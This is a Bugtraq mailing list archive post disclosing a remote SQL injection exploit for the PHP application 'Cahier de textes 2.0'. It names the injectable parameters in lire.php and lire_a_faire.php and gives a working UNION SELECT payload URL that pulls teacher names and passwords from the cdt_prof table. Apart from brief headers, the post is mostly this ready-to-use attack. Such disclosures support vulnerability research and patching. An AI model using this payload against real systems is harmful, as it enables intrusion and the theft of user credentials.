Home page logo
/

bugtraq logo Bugtraq mailing list archives

Cahier de textes 2.0 Remote SQL injection Exploit
From: sami () linuxmail org
Date: 7 Oct 2006 14:52:31 -0000


# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#             Cahier  de  textes  
#   Pierre Lemaitre - St Lô (France) - Ver 2.0
#           
#          Remote SQL injection Exploit
#
#              Discovred By s4mi
#           s4mi[at]linuxmail[dot]org
************************************************
#
#exploit
#
#   http://localhost/PATH/lire.php?classe_ID=1&matiere_ID=[SQL]
or 
http://localhost/PATH/lire_a_faire.php?classe_ID=[SQL]

***********************************
expemle of sql code to get admin user and password

http://localhost/PATH/lire.php?classe_ID=1&matiere_ID=-1+union%20select%201,CONCAT(nom_prof,CHAR(58),CHAR(58),passe)%20FROM%20cdt_prof/*
 


  By Date           By Thread  

Current thread:
  • Cahier de textes 2.0 Remote SQL injection Exploit sami (Oct 07)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault